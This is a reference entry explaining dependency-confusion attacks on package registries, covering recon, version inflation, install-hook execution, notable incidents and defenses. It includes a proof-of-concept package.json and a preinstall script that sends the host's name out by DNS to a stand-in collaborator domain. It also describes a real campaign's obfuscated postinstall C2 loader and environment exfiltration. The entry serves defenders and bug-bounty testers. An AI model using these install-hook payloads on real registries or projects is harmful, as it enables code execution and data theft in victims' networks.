Dependency Confusion

Publishing a package to a public registry under the name of an organization’s private/internal package, so a misconfigured resolver pulls the attacker’s (usually higher-versioned) public copy and runs its install hooks inside the victim’s network or CI.

How it works

Package managers identify packages by name only. Organizations host internal packages on a private registry (Artifactory, AWS CodeArtifact, an internal PyPI index) and point clients at both private and public sources. If any build resolves an internal name against the public registry, or merges the two and takes the highest version, the attacker wins.

  • Recon — harvest internal names from leaked package.json/requirements.txt in public GitHub repos, misconfigured web directories, JS source maps, error logs, shipped software, or just guess them.
  • Publish — register the exact name publicly with an inflated version (99.9.9, 99.99.99, 100.100.100) so “latest” resolution prefers it over internal 1.0.0.
  • Execute — npm lifecycle scripts (preinstall/install/postinstall) run arbitrary shell as the installing user during npm install; no require() by victim code is needed. The payload lands on dev workstations and CI runners.

Resolver behavior is ecosystem- and config-specific. The canonical bad config is pip’s discouraged --extra-index-url: with the package present on both the private index and PyPI, pip picks the highest version regardless of source. Andrew Nesbitt’s survey of ~200 package-manager CVEs lists “dependency confusion from incorrect source prioritization” as one of ~20 recurring client-side bug patterns.

Variants:

  • Scope/namespace squatting — on npm, registering an organizational scope (@corp/...) the real org never claimed on the public registry, then publishing the internal package names under it.
  • Package aliasing — npm aliases ("string-width-cjs": "npm:string-width@^4.2.0") make a node_modules entry whose name differs from its contents; Snyk (2021, Nishant Jain) showed the npmjs registry can be fooled into misreporting dependency info via aliasing as a dependency-confusion extension. Audit lockfiles with lockfile-lint.
  • Hallucinated names — AI-invented dependency names are a sibling vector; see Slopsquatting.

Techniques / payloads

Bug-bounty-safe PoC (no secrets exfiltrated; DNS callback proves execution context):

{ "name": "target-internal-auth-lib", "version": "99.99.99",
  "scripts": { "preinstall": "node index.js" } }
const dns = require('dns'), os = require('os');
dns.lookup(`${os.hostname()}.your-collaborator.oast.example`, () => {});

Test locally with npm install ./target-internal-auth-lib --foreground-scripts and watch the Interactsh/Collaborator callback. Hunting flow: enumerate exposed manifests → check each name against the public registry → unregistered names are candidate internal packages.

Real-world malicious tradecraft (Microsoft, May 2026, oob.moika[.]tech cluster):

  • Nine squatted scopes mirroring corporate namespaces (@cloudplatform-single-spa, @sber-ecom-core, @payments-widget, @data-science, …) with names like svp-baas, ssh-keys, cp-api-gw.
  • Spoofed internal metadata: repository: git+https://github.<scope>.io/platform/<pkg>.git, fake jira.<scope>.io, docs.<scope>.io, author “<Scope> Platform Engineering”.
  • Version strategy mixed: 100.100.100 to win resolution vs realistic 3.5.22 to blend in.
  • postinstall → obfuscator.io-style scripts/postinstall.js → HTTPS GET to C2 → payload to tmpdir → spawn(..., {detached:true}).
  • Skips execution when CI is set (avoid monitored pipelines), checks Node ≥ 16, run-once marker in ~/.cache/._<scope>_init/, RECON_ONLY=1 flag toggled server-side for a later exploitation phase.
  • Attribution via a shared hard-coded X-Secret: l95HdDaz3kQx1Zsg3WxH6HvKANf51RY1 across three accounts. One account (mr.4nd3r50n) began in April 2024 publishing “BugBounty testing” packages at 0.0.0/99.99.99 before shipping malware in 2026 — bug-bounty PoC names became a malware foothold.

Notable cases

  • Alex Birsan (2021) — named the technique; uploaded benign packages matching leaked/guessable internal names across three ecosystems and got code execution inside Apple, Microsoft and others. Microsoft’s pipelines used --extra-index-url, so the higher-versioned public packages won.
  • PyTorch torchtriton (Dec 2022) — internal dependency hosted on PyTorch’s nightly index; an attacker published torchtriton to PyPI, which took precedence. Nightly builds shipped malware for five days.
  • Cordova App Harness (2024) — archived Apache project exposed to a higher-versioned cordova-harness-client on the public registry.
  • oob.moika[.]tech campaign (May 2026) — 33 packages per Microsoft; SafeDep later counted 179 packages across three accounts and multiple scopes, all exfiltrating process.env to /report. See also Malicious Packages.
  • azure-sdk-for-net on npm — flagged by Snyk as a likely dependency-confusion probe against private packages of the same name.

Defenses

  • Claim your namespace publicly (npm scope / org) for all internal packages so outsiders can’t publish into it; use unique, non-guessable internal names.
  • Never merge public + private indexes by version. Avoid pip --extra-index-url; route all resolution through one proxy registry that resolves internal names only from the private source (curation-first / “managed ingestion”).
  • Pin exact versions + commit lockfiles with hashes; 2.1.3, not ^2.1.3. Lint lockfiles for unexpected resolved hosts.
  • Disable install scripts in CI: npm install --ignore-scripts / npm config set ignore-scripts true (equivalent for pnpm/yarn).
  • Provenance binding — SLSA: bind each internal package to its authorized builder and canonical source repo; verify build provenance at install. A confused public package can’t forge SLSA L2+ provenance with the right builder ID/repo. See SBOM and Provenance.
  • Monitor public registries for packages matching internal names; scan new packages with tools such as GuardDog.

Sources